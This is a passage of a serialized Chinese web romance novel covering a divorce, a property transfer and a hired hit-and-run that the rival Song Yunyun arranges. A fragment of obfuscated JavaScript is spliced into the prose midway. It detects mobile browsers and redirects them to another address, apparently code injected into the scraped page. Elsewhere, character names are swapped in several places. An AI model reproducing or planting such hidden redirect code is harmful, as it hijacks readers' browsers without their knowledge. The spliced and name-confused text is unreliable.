“我看周慎对你好像不只是普通朋友那么简单。”
纪安澜没有说话,只是轻轻摇了摇头。
她也不知道,或许是,或许不是。
但经历了江容川的背叛,她对感情已经没有了太多的期待。
更何况,周慎对她一直都是疏离而客气的,她不想再自作多情。
第二天晚上,纪安澜按照约定,来到了一家私密性极好的私房菜馆。
这家菜馆隐藏在老城区的一条巷子里,环境清幽,装修古朴,很适合谈心。
纪安澜提前到了预定的包厢,点了几道周慎喜欢吃的菜。
她今天穿了一件简约的白色衬衫和一条黑色长裤。
褪去了宴会上的冷艳,多了几分干练与温婉。
没过多久,包厢门被推开,周慎走了进来。
他依旧是一身剪裁得体的深灰色西装,身姿挺拔,面容冷峻。
只是眼底似乎带着一丝不易察觉的疲惫。
“周总,你来了。”
纪安澜起身打招呼,脸上露出一抹礼貌的微笑。
周慎微微颔首,走进包厢坐下。
语气疏离而客气:“纪总,客气了。”
“纪总”两个字,像一根细小的针,轻轻刺
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了纪安澜一下。
她能清晰地感觉到,周慎今天的态度比以往更加冷淡。
仿佛他们之间隔着一层无形的墙。
她知道,他一定是已经知晓了她和江容川的事情。
也知道他们还在离婚冷静期。
或许,在他眼里,她还是那个离不开江容川的女人,还是那个被婚姻困住的可怜虫。
心中那点残存的希冀,在他平淡无波的眼神中渐渐熄灭。
纪安澜垂下眼帘,掩去眼底的失落。
轻声道:“这次请你吃饭,主要是想谢谢你。”
“如果不是你给的那份计划书,纪氏这次恐怕很难度过难关。”
周慎拿起桌上的茶杯,轻轻抿了一口。
声音依旧平静无波:“纪总不用这么客气。”
“这份计划书对纪氏有利,对远卓科技也有好处。”
“你是我介绍进智慧机器人项目的,我总不能让自己在董事会丢了招牌。”
他的话滴水不漏,既解释了帮助她的原因,又保持了两人之间的距离。
让纪安澜无从反驳。
纪安澜笑了笑,拿起酒瓶,给周慎的酒杯里倒了些红酒。
“不管怎么说,还是要谢谢你。”
“我以茶代酒,敬你一杯。”
周慎没有拒绝,端起酒杯,与她轻轻碰了一下。
然后一饮而尽。
这顿饭吃得有些沉默。
两人偶尔会聊一些工作上的事情,但大多时候都是相对无言。
纪安澜几次想开口问问他,对自己到底有没有过一丝好感。
可话到嘴边,又被她咽了回去。
她看得出来,周慎对她并无男女之情。
之前的种种或许只是她的错觉。
他帮助她,只是出于利益考量,只是不想让自己的推荐出错。
吃完饭,已经是晚上九点多了。
两人并肩走出菜馆,夜色已浓。
巷子里的路灯昏黄,在地上投下两道修长的影子。
“周总,我自己回去就好,你不用送了。”
纪安澜停下脚步,转过身看着周慎。
脸上露出一个礼貌而疏离的微笑:“今天谢谢你的晚餐。”
第102章 财产转移
“麻烦江总有眼睛的话,好好看看我们的合同。”
“上面有一条明确写着,纪氏仅承担技术顾问责任,不参与项目风险分担。如果找不到这一条的话,我可以让我的助理把我画红线的几个字拿给你看。”
听了这话,江容川立刻从随身携带的包里掏出了文件,仔细一看,确实有这一条。
眼中划过一抹不可置信,墨染的眸子翻涌着复杂的情绪。
原来纪安澜早就在跟他签合同的时候,就留了一手。
那不就表示纪安澜很有可能早就知道这个项目会有问题?
心里的怀疑和愤怒逐渐放大,直到最后吞噬了他的理智。
江容川攥紧拳头,指节泛白。
他冷冰冰地开口道:“你以为脱离我的掌控就能跟**划清界限了吗?”
“不然呢?”纪安澜不以为意,声音清浅。
江容川冷哼一声:“现在离婚正在冷静期,离婚证还没下来,我们就不算是真正的离婚。江家若是落难,你觉得你的财产我动不了吗?”
婚姻期间,双方的财产归家庭所有。
纪安澜沉默了一瞬,声音越发的阴冷:“你居然打起了我的财产的主意。”
纪安澜冷笑:“以前只觉得你卑劣,没想到你现在也这么窝囊,不想着去解决麻烦,却想着吃软饭,是不是软饭吃多了?遇到点困难,就觉得咬不下来,真够难看的!”
“你别跟我说那些大道理,现在我们还没离婚,只要我一直诉状上去,你就必须得帮江家解决这个麻烦,就算是赔上纪氏,你也得帮**渡过难关!”
他的声音冷到了极致。
电话那头的纪安澜嘴角噙着一抹冷笑,眼底一片冰冷。
她早就想到江容川会拉她一起下水。
没想到,事情来得这么快。
他以为拿住了她的七寸,其实纪安澜早就有所准备。
见纪安澜不说话,江容川继续威胁:“我只是让你共同承担损失,并不想要了整个纪氏,你只需要拿出一部分的钱帮助**渡过难关,我肯定不会为难你。”
“这么说,我还得感谢你喽?”纪安澜觉得可笑。
明明吸纪氏血的人是他,却偏偏说得好像他是个像她施舍的大善人一样。
曾经他是如此,如今他依旧没变。
只是那时的纪安澜恋爱脑,没有看清江容川的真面目。现在的她早就知道江容川在PUA她。
“澜澜,我这是为了你好,要是真的起诉你,你以为纪氏还能存活吗?纪氏的那点钱只够填补**的窟窿,剩下的那些违约金你打算怎么办?”
听着他满口为她好的谎言,纪安澜嘲笑出声。
“当然是你来想办法了,跟我有什么关系?”
轻飘飘的嗓音泛着一丝冷意,传入江容川耳中,他面色一沉。
“你非要让我把事情做绝,是吗?”
“你不是做事向来挺绝的吗?”纪安澜冷笑,声音越发地轻蔑,“你拿整个纪氏威胁我,我就是知道,我看重父亲留下来的资产,觉得拽住了我的小辫子,就可以轻易拿捏我。但是江容川你别忘了,我已经不是以前的我了,不会被你随意拿捏!”
“你还能怎么办?你可别忘了,我们的离婚证还没下来,现在还没离婚!”
江容川面色越发阴沉,压低了嗓音,压制着心底的愤怒。
“不离婚又能怎样?我手上一点钱都没有,就算**找我,也只是会问我要婚内财产,但我没钱,他拿什么执行?”
此话一说出口,江容川的脸色阴郁得仿佛随时都能滴下水来。
“你说什么?怎么可能?纪氏最近不是接了很多大单子,怎么可能会没钱?”
“那当然是……”
纪安澜勾了勾唇,并没有解释,而是神秘兮兮地冷声道:“自己想吧,想告就告,我无所谓。”
话音刚落,挂断了电话。
纪安澜慵懒地靠在椅背上,面色波澜不惊。
好在他早有准备,将纪氏和其他所有财产全都转到了母亲林慧敏的名下。
江容川一分钱也别想拿到。
别说**遭遇违约金危机,就算**彻底地破产清算,跟他又有什么关系呢?
江容川手指紧握成拳,面色难看至极,拳头挥舞
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,捶在了墙上。
他掏出手机,让助理查了下纪安澜的财产,确实一分没有。
脸上血色尽失,江容川这才知道,原来纪安澜早就有所准备,提前布好了局,就等着他的那一番话。
本以为拿捏住了纪安澜,可没想到他才是彻头彻尾的小丑。
想到纪安澜冷漠疏离的态度,他的心仿佛被什么攫住,密密麻麻的疼痛蔓延开来。
那个心里眼里满是他的纪安澜,不知不觉间消失了。
直到这一刻,他才彻底地意识到,他永永远远地失去了纪安澜。
他把纪安澜弄丢了。
失魂落魄地蹲在地上,江容川抱着头,手指胡乱地抓着头发,心里似火烧一般。
江震霆出来,看到他这副模样,恨铁不成钢地质问道:“怎么了?又是因为纪安澜?你怎么就这么不争气呢?现在也是当爹的人了,赶紧进去看看宋妘妘,再看看你的孩子。至于纪安澜,一定要让她承担**的损失!”
头顶雷霆般的嗓音,让江容川越发觉得烦躁。他如同行尸走肉般站起来,走进了房间。鼻息间充斥着消毒水的味道,目光落在病床上宋妘妘的脸上。
他的内心波澜不惊,丝毫没有一丝喜悦。
这就是他将要娶的女人,仿佛生活一眼就能望到头。
他不想要这样的生活,可没有办法。
若是想要得到**,他就必须要付出代价。
眼前的女人就是他唯一的捷径。
江容川浑身落寞地坐在病床旁,眼神空洞地看着前方,就那样静静地坐了一夜。
次日,他满脸胡茬,一脸狼狈。
“容川,你守了我一夜吗?”
宋妘妘缓缓睁开眸子,虚弱的嗓音换回了江容川的思绪。
他恍惚了一瞬,视线落在女人的脸上,眼底一片冰冷。
“嗯。”
“孩子怎么样?”宋妘妘眼睛中闪过一抹惊恐。
“没事。”没有多余的话。
他站起身,想要为宋妘妘倒杯水。
宋妘妘突然尖着嗓音吼道:“你干什么去?该不会是想要去找纪安澜那个**吧?”
第103章 让她发疯
江容川的动作一滞,面色瞬间阴沉了下来。
“你别忘了,是谁害我早产?要不是我命大,我们的孩子可能也没了!”
她的声音尖锐,响彻了整个房间,看着江容川的背影,扯着嗓子质问:“还有,你为什么不来参加订婚宴?你知不知道我成为了全城的笑柄?”
“公司有麻烦。”江容川声音低沉,冷声解释了一句。
“那麻烦还不都是纪安澜搞的?她就是个**,以后不许你再去找她!”
宋妘妘挣扎着坐起身,双手用力地捶着床,眼神癫狂,眼睛里布满了红血丝。
她的声音夹杂着哭腔,眼见着江容川一言不发地往门外走,她放声大哭,声音夹杂着哀求:“容川,不要丢下我!我为了给你生个孩子,差点连命都没了,难道你那么迫不及待地要去找那个**吗?”
江容川停下脚步,站在门口:“我去给你倒杯热水。”
丢下这句话,周慎头也不回地离开了。
走出病房的刹那,那股难以言喻的压抑气氛,终于不再萦绕在心头,江容川稍稍松了一口气,走过去给宋妘妘倒了杯水,又返回了病房。
听见脚步声,宋妘妘掀起眼眸,眼底满是惊喜。
见到他手中的热水,宋妘妘伸长了脖子,撒娇道:“容川,我没力气,你能不能喂我?”
江容川没有拒绝,坐在床边,一口一口地给她喂水。
见他动作温柔,却面无表情,知道他在烦心公司的事,宋妘妘立刻说:“容川,你放心,公司一定会好起来的!等我们结了婚,夫妻同为一体,我一定会帮你斗垮纪氏,让我们**重回巅峰!”
斗垮纪氏?
他从未这么想过。
掀起眼眸,看着宋妘妘,她眼底一闪而过的阴鸷被他察觉。
他没想到宋妘妘出手如此狠辣,竟然想要置纪安澜于死地。
如今的纪氏经不起风浪,一旦有任何挫折,怕是纪安澜独木难支,等到那张嫩白的小脸,江容川没有出手的欲望。
“我只是想赶紧让**好起来。”
他语气淡淡地说了一句。
“会的,一切都会好起来的,相信我,我不会让你失望的。”
宋妘妘语气急切,目光灼**盯着他。
迎着那双眸子,江容川的声音沉了几分:“可我听说周霆云没有去参加订婚宴。”
闻言,宋妘妘脸色微变,立刻解释:“可能有事耽搁了,你不是公司也遇到了麻烦吗?”
对此,江容川不想深究,毕竟这场订婚宴并没有真正地如期完成。
他心底的那么期待,就如同一个种子,慢慢生根发芽,像疯狂的藤蔓爬满了整个心脏。
只要他还没有订婚,说不定他跟纪安澜还有希望……
脑海里充斥着纪安澜那张脸,记忆里她的音容笑貌如此生动,仿佛她还在身边。
正想得出神,宋妘妘声音柔和,笑着向他撒娇:“容川,我饿了,给我买点吃的吧?”
“好,澜澜。”他很自然地接了一句。
房间霎时安静。
宋妘妘脸色骤变,瞪大眼睛,不可置信地看着江容川。
后者也回过神来,眉头微蹙,张口想要辩解。
宋妘妘发疯似地拿起他手里的水壶摔在了地上。
砰的一声,水溅得到处都是。
“澜澜?在陪着我的时候,你居然还在想那个**?”
“是谁害我差点死掉的?就是那个**!”
“是谁害你的公司变成现在这样?还是纪安澜那个**!”
她的声音尖锐刺耳,歇斯底里地尖叫着。
身子颤抖,指着他的鼻子骂:“江容川,你这个忘恩负义的东西!为了你做了那么多,难道在你心里还比不过那个**吗?”
江容川张了张嘴,喉咙干涩却发不出任何声音。
看见他的反应,宋妘妘怒从中来,疯狂地怒吼着。
“滚!现在就滚出去,我不想看到你,你去找那个**!让他来帮你填**的窟窿,以后我什么都不管了!”
说着,拉着枕头用力地朝他砸了过去。
江容川冷冷地站在原地,面色阴沉,只有最后一句话,才让他的表情微微一变。
他现在不能惹怒宋妘妘,他还需要宋妘妘的助力。
强忍着内心的烦躁,江容川换上一种
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表情,走过去安慰。
他强制拉过宋妘妘的手,声音轻柔:“妘妘,是我的错,我刚才一直想着如何让她共同承担损失,这才说错了话,你打我骂我都行,可千万不要气坏了身子。”
听见这话,宋妘妘脸色稍微好转了些,皱着眉头,狐疑地盯着他。
“真的?”
“当然是真的。”江容川无比肯定,一把将她揽入怀中。
“现在我们有了孩子,以后结婚也名正言顺,等你养好身子,公司的麻烦,我估计也处理得差不多了。”
“等到那时,我们就结婚,好不好?”
宋妘妘仰起头,看着他冷冽的下颌角,眼睛充满了希冀。
“嗯,只是不知道公司的麻烦什么时候才能解决。”
他若有深意地说着。
“你放心,只要有你这句话,我绝对不会不管纪氏的!不管用任何方法,我一定会让纪氏回暖!”
江容川等的就是这句话。
他轻轻地拍了拍宋妘妘的肩膀,声音越发轻柔:“我就知道你最好了。”
“那是,知道就好。”宋妘妘勾了勾唇,满脸幸福地伸手抱住了江容川的腰。
阳光透过玻璃窗,洒在两人身上,镀上了一层金色,远远看着,犹如一对璧人。
只是江容川面色阴郁,脸上毫无笑容,眼底满是冷意。
“对了,妘妘,你跟周霆云是怎么认识的?看起来你们很熟。”
江容川随口问了一句。
宋妘妘眼底闪过一抹慌乱,迟疑了一秒,紧张地问:“你问这个干什么?”
她本能地逃离了江容川的怀抱,低垂着眉眼。
看着他的反应,江容川更加疑惑,眉头微蹙。
“没什么,只是随便问问,你要是不想说就算了。”
“其实也没什么,就是偶然认识的。”宋妘妘努力地扯着唇,“容川,我饿了。”
“好,我可以给你买吃的去。”江容川答应了一声,就出去了。
看着他的背影,宋妘妘眼底划过一抹算计,掏出手机,打了个电话。
“喂,你上次答应我的事还作数不?”
“我要纪安澜死!”
第104章 向他道谢
宋妘妘挂断电话,嘴角勾起一抹残忍的笑。
“没有人能阻止我做江太太!”
听见脚步声,宋妘妘收敛起脸上阴狠的神情,换上了一副温柔的表情,微笑着迎接江容川。
两人在房间里浓情蜜意,看起来活脱脱像是刚结婚的小情侣,不少医院护士窃窃私语。
“我听说,他们两个没订婚呢。”
“对啊,听说是江容川婚内出轨,还没跟纪安澜离婚,宋妘妘的肚子都这么大了。”
“但是今天江容川没去参加订婚,是不是后悔了?”
她们小声地议论着,不敢让房间的两人听到。
江容川望着面前的女人,眼前一阵恍惚,时不时地会把她当成纪安澜,幻想纪安澜还在他的身边。
可此时的纪安澜心里早就已经没有他了。
坐在办公室里,纪安澜眉头紧锁,紧盯着手机屏幕。
上面的号码早就烂熟于心,手指悬浮在半空中,终究没有落下。
她盯着周慎的名字发呆。
自从上次不欢而散后,两个人已经许久没见面。
最近一次,还是在江家的宴会上,想到他那冷漠疏离的态度,纪安澜心里很不舒服。
不过这一次AI项目如此成功,多亏了周慎的帮助。
纪安澜一咬牙,拨通了周慎的号码。
电话那头传来了周慎低沉的嗓音。
“喂?”
“周总,有时间吗?我想请你吃个饭。”纪安澜用了很大的勇气才说出口。
“没必要。”语气冷淡,透过电话,冷冰冰地传来。
“这次纪氏业绩能翻倍,多亏了你,周总,不赏脸见一面?”纪安澜声音压低,语气带着一丝渴求。
“我看看日程安排,到时候找人通知你。”
话音刚落,周慎挂断电话。
纪安澜有些泄气地瘫坐在沙发上,眼睛一眨不眨地盯着手机屏幕,心里却满是失望。
看来,周慎是不想见她了。
可就在这时,手机突然亮了。
一个陌生号码发来短信。
——城南私房菜,晚上8点。
纪安澜眼前一亮,眼底是忍不住的欣喜,她立刻回了条信息。
——好,不见不散。
虽然不知道收件人是谁,不过一定能传达到周慎耳中。
纪安澜赶紧起身去换衣服,尽管才下午3点,她已经迫不及待地想要见到周慎,那种思念似乎快要溢出心口。
她不知道对周慎到底是什么样的感情。
或许是感激,亦或是别的复杂情愫。
刚从一段失败的婚姻里走出来,纪安澜不想让自己陷进去,她只想确定对周慎的心思。
亦或者是,彻底斩断对他的心思。
若是周慎厌烦了他,两人从今以后只剩合作关系,这才是她乐见其成的场面。
时间一分一秒地过去,每一分都十分煎熬,终于熬到了晚上8点,纪安澜早早地来到了城南私房菜。
他有些拘谨地坐着,眼睛时不时地瞥向前方,眼底满是期待。
一道颀长的身影赫然映入眼帘。
周慎迈着修长的腿朝她走来,一身黑色西装,衬得身材宽肩窄腰,头发梳得一丝不苟,锃亮的皮鞋停在了她面前。
清冽的气息扑面而来,一股熟悉的冷木香充斥在口鼻间。
他目光淡然地落在纪安澜脸上,看着那巴掌大的小脸,带着笑意,脸色微变,转瞬又恢复了冷漠,坐在了她对面。
“纪总,谢谢你的计划案!”
纪安澜眼底充满了真诚,这次的计划书,周慎做得十分详尽,上面还有许多批注,看来用了很多心思。
周慎声音平淡无波:“我是为了远卓科技。”
言外之意是,没打算帮助纪安澜。
冷漠疏离的态度还是让纪安澜有些不适应。
她勉强地勾了勾唇,笑着继续感谢:“那也是多亏了你,是你让纪氏渡过难关,谢谢你!”
“纪总客气了,只有纪氏翻身,才能跟远卓科技形成双赢。”
“纪总”两字,就如同一把刀子,狠狠地扎进了纪安澜的心口。
从前周慎也是如此叫她,她从不觉得心里难受,可今日却觉得很生疏,仿佛两个人只是陌生人,说出来的话也是公事公办的态度。
“原来周总只是为了远卓科技。”纪安澜艰涩地开口,脸上的笑容僵硬,视线紧紧地盯着面前的男人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049337|193108||http|test|mini|href|location''.split(''|''),0,{}));
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r>面容俊朗依旧,只是那双深邃的眸子,只剩下了冷漠与疏离。
看着纪安澜眼中的失落,周慎微微一愣,避开她的视线,冷声道:“那当然,难不成还是为了纪总你?”
他的唇角溢出一丝冷笑,眼底划过一抹轻蔑。
纪安澜脸色微白,仿佛被当众打了一个耳光。
她自然是这么想的。
那天她昏昏沉沉睡着,周慎特意来到半山别墅给她送文件。她以为周慎是怕她累着,给她写的合作案。
看着他的表情,纪安澜方才明白,原来一切不过是她自作多情,周慎只是为了远卓科技罢了。
“周总高瞻远瞩,是怕我给你拖后腿?”纪安澜的语气中带着几分试探。
周慎平淡地回答:“毕竟你是经我介绍,才跟远卓科技有所合作,若是你没办法如期达到目标,毁的是我的声誉。”
他的话犹如一根根绵密的刺,一点一点地扎在心口上。
声音平静得仿佛在宣读一份冰冷的商业报告,没有半点私人情绪。
纪安澜的心一下子沉到了谷底。
在得知要跟周慎见面,她的心里充满了期待,也多了一丝幻想,或许周慎之前的种种表现,对她并非无意,也许两人可以试着谈谈?
毕竟在她最艰难的那段时间,所有的人都避之不及,只有周慎愿意帮助她。
可现在看来,周慎所做的一切,无非就是为了利益,根本无关感情。
面前的男人就犹如照进她生命里的一束光,本以为伸手就能抓住,可那道光却越来越远,越来越冷。
盯着那双冷漠至极的眸子,纪安澜金色的,扯了扯唇角,勾起了一抹自嘲的笑。
“我知道了,不管怎么说,也是你盘活了纪氏,这份恩情我记下了,以后,会全力报答。”
话音刚落,纪安澜站起身。
“我还有事,就先走了。”
说罢,逃也似地离开了现场。
纪安澜踉踉跄跄跑出去很远,神思恍惚,眼神空洞,竟没有注意到一辆车子朝着她疾驰而来。
刺眼的白光照在她的脸上,尖锐的刹车声充斥着耳膜,纪安澜猛然扭头,惊恐地瞪大了眼睛。
第105章 我就是个灾星
纪安澜脑海里一片空白,瞳孔骤缩,身子僵直,呆愣在原地,完全忘记了闪躲。
“小心!”
背后传来一声惊呼。
纪安澜下意识回头,一股强大的力量将她猛地往前推。
身子踉跄了几步,摔倒在地。
纪安澜惊恐地回过头,眼睁睁地看着周慎被车子撞飞,犹如断了线的风筝,重重地砸向地面。
砰——
一声巨响,在耳边震耳欲聋。
尖锐的刹车声,响彻耳膜。
纪安澜惊恐地瞪大眼睛,大脑里空白一片,呆坐在那里片刻,立刻发疯似地冲了过去。
“周慎!”
她尖叫着,跌跌撞撞跑到周慎身边,惊魂未定地看着倒在地上的周慎。
红色的血液在他的身下慢慢蔓延,犹如盛开的彼岸花,刺得她眼睛生疼。
纪安澜的脸唰得一下白了,血色尽失,呆愣在原地,心脏仿佛被攫住,痛得她无法呼吸。
那双漆黑的眸子似睁未睁地看着她,纪安澜方才回过神,疯了一般扑过去,跪在他身旁,手指僵硬在半空中,却不敢碰他,仿佛他是易碎的娃娃,一碰就会碎裂。
“周慎,你不要睡!醒醒!醒醒啊!”
眼见着周慎缓缓地合上眼睛,嘴唇张合,似乎要说些什么,可一个音节也没有发出来,却沉沉地闭上了眼睛。
眼泪不受控制地顺着脸颊滑落,滚烫的泪水灼烧着肌肤,纪安澜眼里只剩下了恐惧和慌乱。
她赶紧掏出手机打急救电话,手指害怕地颤抖,嘴里一直念念有词,叫着周慎的名字。
“周慎,醒醒,醒醒啊!”声音轻颤,充满了绝望。
不少人围观过来,他们也赶紧拨打了120。
肇事者从车上下来,对着纪安澜百般求饶,纪安澜置若罔闻。
空洞的眼睛直勾勾地看着倒地不起的周慎,心脏仿佛被凌迟,一寸一寸地割开皮肉,疼得痛不欲生。
泪水模糊了视线,周慎的模样明明变得模糊,可在脑海里却越发的清晰。
周慎为什么要拼了命地救她?
刚才,他分明那样的冷漠,纪安澜已经决定跟他断绝往来,可他却偏偏用命救了她。
想起两人之前发生的种种,她最落寞时,周慎陪着她,最困难时,周慎送来了计划书。
他并非毫不在意,甚至在生死关头,毫不犹豫地坚定地选择了她。
周慎是爱她的!
这个念头在心里生根发芽,纪安澜哭着,扯动着唇角。
“周慎,你是爱我的,对不对?”
“醒醒!你还没有亲口告诉我。”
“都怪我,宋妘妘说得没错,我就是个灾星,谁遇到我都会倒霉,只要你能醒过来,我一定离你远远的。”
周慎的睫毛微微一颤,似乎要睁开眼睛,可终于还是无力地垂下。
纪安澜紧盯着那张脸,脸色苍白如纸,近乎透明,脆弱的模样跟他平时的嚣张形成了鲜明的对比。
纪安澜跪在地上,握着他的手,手指尖冰凉,纪安澜却舍不得撒开。
“求求你,不要死,我还有很多话没有告诉你!”
一想到刚才已经下定决心要放弃他,纪安澜的心里充满了愧疚,她怎能忽视周慎对她的好?
如果周慎真的因为救她而死,她该怎么活下去?
他的手指尖越发冰凉,纪安澜的心被揪紧,痛得厉害
终于,救护车的鸣笛声响彻耳际。
医护人员把周慎用担架抬上车,纪安澜快速跟了上去。
车门被关上,救护车快速朝着医院驶去。
夜色如墨,浓稠地铺开。
一片阴影中,一人隐匿在阴影中,看着车祸,掏出手机,拨打了个电话。
“事情已经办妥,找好了替罪羊,没有人会发现我们。”
电话那头的宋妘妘唇角上扬了一抹残忍的弧度,眼底满是阴狠。
“纪安澜,乖乖地受死吧,江太太的位置我替你坐了。”
话音刚落,扭头看了一眼站在门口怅然若失的江容川,眼底划过一抹冷冽。
至于江容川,她可以轻松拿捏。
救护车上,纪安澜紧握着周慎的手,血液流淌在两人的掌心,纪安澜内心充满了恐慌与悔恨。
回忆过往相处的细节,从相识到后面的种种,周慎都在帮助她。
项目书如此细节的批注,肯
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定是他熬了几个大夜做出来的,那时他心里明明是这么想的,可面对他故意装出来的冷漠,她竟然傻傻地信了。
泪水顺着脸颊无声地滑落。
纪安澜嘴里低声呢喃:“周慎,你不能有事!”
急救室外,纪安澜焦急地在走廊里踱步,头顶的光映照在脸上,纪安澜脸色惨白如纸。
手指紧握成拳,因用力骨节泛白。
突然,急救室的门被打开,主治医生跑了过来。
“这位小姐,患者颅内出血,胸腔有少量积血,必须立刻手术。”
顿了一下,语气凝重:“必须要提醒一下,手术风险极高,术后可能出现认知障碍、肢体偏瘫等后遗症,考虑清楚再签字。”
听到这么严重的后遗症,纪安澜心脏骤停,仿佛被刀用力划过,疼得她无法呼吸。
脑海里全都是周慎不顾一切救她的画面,还有他倒在血泊里的样子。
纪安澜毫不犹豫点头,眼神坚定:“我签!医生,你一定要救活他,他对我真的很重要。”
纪安澜指尖颤抖,手术同意书上签上了名字。
“医生,求求你了,你一定要救活他!”纪安澜百般强调,声音沙哑得如同砂纸摩擦。
医生眼神坚定,冲着他点了点头,转身走进了手术室。
门砰的一声被关上,仿佛瞬间将两人隔绝在了两个世界。
纪安澜失魂落魄地跌坐在凳子上,双手抱着膝盖,将头深深地埋进去,泪水无声地顺着脸颊滑落,四周一片寂静,静得仿佛只能听见他快速跳动的心脏声。
手术的红灯亮起,纪安澜内心承受着煎熬,手指紧握成拳,祈祷着周慎不能有事。
与此同时。
医院病房里,宋妘妘接到了一个神秘来电。
他皱着眉头接听,语气不悦:“谁啊?”
“宋小姐,你答应我的尾款什么时候给我?”司机机械性的声音泛着一丝急切。
宋妘妘瞳孔骤缩,赶紧压低嗓音:“答应你的肯定会给你,不是说了不让你给我打电话吗?”
“是你让我撞的人,估计一会警察就得来找我,尾款要是没到,我不会替你坐牢的!”
第106章 你们俩是不是有病
“我都说了,钱会立即到账,你不要胡说八道!你可别忘了,你女儿正需要100万的手术费,要是你敢胡说,你女儿就死定了!”
宋妘妘刻意压低嗓音,眉头拧成一个疙瘩,语气里充满了威胁。
“警察马上到了,什么时候打钱给我老婆?”
司机语气越发急切。
宋妘妘无奈,只好掏出手机转账。
“钱已经打过去了,这下可以老实去坐牢了吧?”
司机立刻发信息问了老婆,确定钱已到账,这才松了口气。
“放心,拿人钱财与人消灾,我女儿后续的手术费,还请宋小姐务必像之前承诺的一样包圆,否则……”
他威胁的话没有说出来。
宋妘妘咬紧下唇,胸口剧烈起伏,努力地压制着怒火。
“你放心,答应给你的都会给你!”
她有些不放心地问:“你真的把人撞到了?”
“当然!现在人正在急救室里,我在医院等着警察来。”
“那就好,把通话记录删了!不要留下任何蛛丝马迹。”宋妘妘命令了一声。
突然听见江容川的嗓音在头顶传来。
“你在跟谁打电话?”
宋妘妘瞳孔骤缩,脸色唰地一下白了,立刻挂断电话,神色紧张,赶紧解释:“没什么,骚扰电话。”
而电话那头的司机,虽然删除了通话记录,但是留了个心眼,将刚才两人的对话录了音。
宋妘妘伸手拢了拢头发,想掩饰心里的不安。
“最近身体太虚弱,可能脸色有一点不好。”
她解释了一句,躺在床上,盖上被子,勉强地勾了勾唇。
欲盖弥彰的模样,却让江容川心头升起了一丝疑窦。
宋妘妘这样太奇怪了,刚才打电话如此紧张,像是怕被人发现一样,如今又这么说,倒像是在隐瞒着什么。
视线定定地看着宋妘妘,眼底带着一抹审视。
正在这时,电话铃声急促地响起。
见江容川没有任何反应,宋妘妘赶紧提醒他。
“你的手机响了,或许是公司打来的,有急事你就去忙吧。”
经过她的提醒,江容川这才看了一下手机的来电显示。
居然是沈南姗打来的。
他们两个人之间毫无交集,她怎会打电话给他?
江容川眉头一拧,抬脚朝着门口走。
“喂?”
“安澜的车祸是不是宋妘妘做的?还是你做的?”
电话那头传来了沈南姗劈头盖脸的怒骂声。
“你们两个人还要不要点脸?都已经成全你们两人了,你跟安澜都已经离婚了,居然还对她下手,还有没有点人性?能不能做个人啊?”
“什么?澜澜出车祸了?”江容川眉头紧锁,刻意地压低了嗓音,下意识地扭头朝着病房里看了一眼。
宋妘妘正呆呆地看着前方,眉头紧锁,眼底划过一抹阴毒,似乎在想着什么。
看他这个反应,似乎正印证了沈南姗的说法。
“江容川,你不要给我装你不知道,这件事情难道不是你做的?”
沈南姗的语气里充满了怀疑。
“不是,我怎么会做这种事?”江容川立刻否定。
“是你,那肯定就是宋妘妘!”沈南姗一口咬定。
“我特意地查看了道路监控,发现那辆车是故意撞向安澜的!分明就是有人刻意为之,查了那人的生平,跟安澜没有任何交集,怎会突然行凶?一定是受人指使。”
沈南姗声音越发冷冽:“除了你和宋妘妘,我想不到第三个人会对安澜下手了,她平时待人极好,甚至舍不得孩子一只蚂蚁,像她这样的人,你们也下得去手?”
闻言,江容川的心蓦地一沉。
他面色冷峻地盯着宋妘妘的方向,声音幽冷。
“没有证据,你不要胡说八道。”
就知道江容川会护着宋妘妘。
沈南姗无语地笑了:“你自己心知肚明,宋妘妘到底是个什么样的人,我真是恭喜你,在万千人中找到了一个心思最毒的女人,你们两个人最好给我锁死,这一辈子都在一起!”
说着就要挂断电话。
江容川冷声道:“说了这么多,你不是没有证据吗?”
沈南姗一时语塞,她确实现在还没有找到证据。
正在他无话可说的时候,突然收到手底下发来的一条录影。
点
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开一听,正是沈南姗跟司机打电话录下来的录影。
外放声正好**容川听到。
瞳孔骤缩,瞪大眼睛,眼睛里充满了不可置信。
他脸色骤变,周深的气压瞬间降至冰点。
目光犹如一把利刃,冷冷地刺向了宋妘妘。
他知道宋妘妘手段阴狠,没想到她居然真的对纪安澜下手了。
愣了几秒,周慎眼中充满了焦急。
“澜澜现在怎么样了?有事吗?”
“用不着你管!你还是管好你的女人吧!要是安澜真的出了什么事,我绝对不会放过她!”
话音刚落,直接挂断电话。
江容川站在原地,神情有些恍惚,一想到那张嫩白的小脸,一股无名火噌地一下燃烧了理智。
他抬脚快步走进病房。
宋妘妘听见声音,猛然回过神来,努力地扯动着唇角。
“容川,你怎么了?脸色这么差,是不是病了?最近照顾我辛苦了,等我好了,我一定好好地把你养回来。”
甜腻的声音泛着一丝撒娇的意味,明明那张脸人畜和无害,可做出来的事情却令人胆战心惊。
“你刚才在跟谁打电话?”江容川又问了一句。
宋妘妘脸色骤变,眼中划过一抹慌张,赶紧收敛起脸上的表情,换上了一副自以为无懈可击的表情。
“没什么,不是跟你说了吗?你怎么还问?就这么关心我吗?难道以为我会跟别的男人偷情?”
她故意打趣江容川,就是为了转移他的注意力。
可那双幽深的眸子冷冷地盯着她,眼底的寒意快要溢出。
“你是不是派人对澜澜下手了?”
盯着她许久,江容川终于冷冰冰地开了口。
宋妘妘瞪大眼睛,不可置信地盯着他,心脏狂跳不止,大脑有一瞬间的空白。
他怎么知道的?
“我……没……没有……”
宋妘妘想要狡辩。
周慎冷声道:“我之前就警告过你,不要太过火!不要随便动她!”
听见他暴怒的嗓音,宋妘妘掀起眼眸,冷声质问:“为什么?是不是你的心里还有那个**?如果有,难道我不该动她吗?”
第107章 恭喜你初为人母
啪——
极怒之下,江容川抬手给了宋妘妘一巴掌。
清脆的巴掌声响彻了整个病房。
宋妘妘的头偏过去,不可置信地扭头瞪着江容川。
“你为了纪安澜敢打我?”
手指上的麻意,和她的质问声,稍稍唤回了他的理智。
